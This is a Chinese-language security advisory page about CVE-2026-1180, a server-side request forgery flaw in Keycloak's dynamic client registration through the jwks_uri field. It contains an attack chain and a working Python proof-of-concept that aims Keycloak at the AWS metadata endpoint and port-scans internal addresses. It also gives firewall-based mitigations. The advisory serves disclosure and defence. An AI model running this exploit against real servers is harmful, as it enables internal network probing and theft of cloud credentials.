IPBUF安全漏洞报告
English
CVE-2026-1180 CVSS 5.8 中危

CVE-2026-1180 Keycloak动态客户端注册SSRF漏洞

披露日期: 2026-01-20

漏洞信息

漏洞编号
CVE-2026-1180
漏洞类型
SSRF(服务器端请求伪造)
CVSS评分
5.8 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keycloak

相关标签

SSRFKeycloakOpenID ConnectDynamic Client Registrationprivate_key_jwtCVE-2026-1180信息泄露内网探测云安全身份认证

漏洞概述

CVE-2026-1180是Keycloak身份认证服务器中的一个中等严重性安全漏洞,位于OpenID Connect动态客户端注册功能模块。该漏洞允许通过private_key_jwt认证的客户端在注册时指定任意jwks_uri,Keycloak服务器会无验证地向该URI发起HTTP请求获取密钥。这一设计缺陷使得攻击者可以利用Keycloak服务器作为代理,对内部网络资源、云元数据端点(如AWS 169.254.169.254)以及受限服务发起请求。由于Keycloak通常部署在网络边界位置,此漏洞可被用于突破网络隔离限制,进行内网探测和信息收集。攻击者无需任何认证凭证即可利用此漏洞发起请求,但需要能够注册新的OIDC客户端。CVSS 3.1评分5.8,主要影响机密性。

技术细节

漏洞根源在于Keycloak的Dynamic Client Registration功能对jwks_uri参数缺乏安全验证。当客户端使用private_key_jwt认证方式注册时,可以指定任意URL作为jwks_uri。Keycloak会向该URL发起HTTP GET请求以获取JSON Web Key Set。攻击者可以构造以下攻击场景:1)注册恶意客户端并指定内部IP或云元数据端点作为jwks_uri;2)Keycloak服务器向指定目标发起请求;3)根据响应判断目标可达性和返回内容。攻击者可利用此探测内网服务状态、获取云凭证、访问管理接口等。由于Keycloak通常以高权限运行,可访问的内部资源范围较大。此攻击配合云环境元数据接口可获取IAM角色凭证,实现权限提升。

攻击链分析

STEP 1
1
攻击者访问Keycloak的OpenID Connect动态客户端注册端点
STEP 2
2
构造恶意客户端注册请求,将jwks_uri设置为内部地址(如169.254.169.254、10.x.x.x等)
STEP 3
3
Keycloak服务器接收到请求后,无验证地向指定的jwks_uri发起HTTP GET请求获取密钥
STEP 4
4
根据响应时间或内容,攻击者判断内部服务是否可达、版本信息或敏感数据
STEP 5
5
结合云环境可获取IAM角色凭证、API密钥等敏感信息,实现进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-1180 Keycloak SSRF via jwks_uri PoC # Target: Keycloak server with Dynamic Client Registration enabled import requests import json KEYCLOAK_URL = "http://target-keycloak:8080" REALM = "master" # PoC 1: Basic SSRF test - probe internal metadata endpoint def create_malicious_client_ssrf(): """Create a client with malicious jwks_uri pointing to internal resource""" endpoint = f"{KEYCLOAK_URL}/auth/realms/{REALM}/clients-registrations/openid" # Malicious payload - target AWS metadata endpoint malicious_jwks_uri = "http://169.254.169.254/latest/meta-data/" client_data = { "client_id": "malicious_client_ssrf_test", "client_name": "SSRF Test Client", "redirect_uris": ["https://attacker.com/callback"], "jwks_uri": malicious_jwks_uri, "token_endpoint_auth_method": "private_key_jwt", "response_types": ["code"] } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=client_data, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None # PoC 2: Internal port scanning def scan_internal_ports(): """Scan internal services by specifying different jwks_uri ports""" internal_ips = ["10.0.0.1", "172.16.0.1", "192.168.1.1"] common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200] results = [] for ip in internal_ips: for port in common_ports: jwks_uri = f"http://{ip}:{port}/" client_data = { "client_id": f"scan_{ip}_{port}", "jwks_uri": jwks_uri, "token_endpoint_auth_method": "private_key_jwt" } endpoint = f"{KEYCLOAK_URL}/auth/realms/{REALM}/clients-registrations/openid" try: response = requests.post(endpoint, json=client_data, timeout=5) # Fast response may indicate open port if response.elapsed.total_seconds() < 2: results.append({"ip": ip, "port": port, "status": "possibly_open"}) print(f"[+] {ip}:{port} - Possibly open (response time: {response.elapsed.total_seconds()}s)") except requests.exceptions.Timeout: print(f"[-] {ip}:{port} - Timeout (filtered)") except Exception as e: print(f"[-] {ip}:{port} - Error: {e}") return results if __name__ == "__main__": print("[*] CVE-2026-1180 Keycloak SSRF PoC") print("[*] Testing AWS metadata endpoint SSRF...") create_malicious_client_ssrf() print("\n[*] Scanning internal services...") scan_internal_ports()

影响范围

Keycloak < 25.x.x (需要官方确认)
Keycloak OpenID Connect Dynamic Client Registration功能所有版本

防御指南

临时缓解措施
临时缓解措施:在Keycloak前部署网络防火墙,限制出站HTTP/HTTPS请求到内网IP段(10.0.0.0/8、172.16.0.0/12、192.168.0.0/16、169.254.0.0/16)。如业务允许,可临时禁用private_key_jwt认证方式的动态客户端注册功能,改用仅允许预注册客户端的方式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表